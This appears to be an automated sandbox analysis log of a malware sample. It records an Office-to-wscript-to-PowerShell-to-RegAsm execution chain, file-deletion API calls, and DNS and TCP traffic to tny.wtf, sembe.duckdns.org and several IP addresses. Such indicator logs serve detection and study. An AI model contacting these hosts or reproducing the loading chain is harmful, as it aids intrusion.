Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	12_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	12_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	12_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	12_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0044E879 FindFirstFileExA,	12_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	12_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040783C FindFirstFileW,FindNextFileW,	12_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	12_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	12_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	12_2_0040BD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

12_2_00407C97

Software Vulnerabilities

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: sembe.duckdns.org
Source: global traffic	DNS query: name: geoplugin.net

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 198.46.176.133:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 178.237.33.50:80

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.3.176.174:80
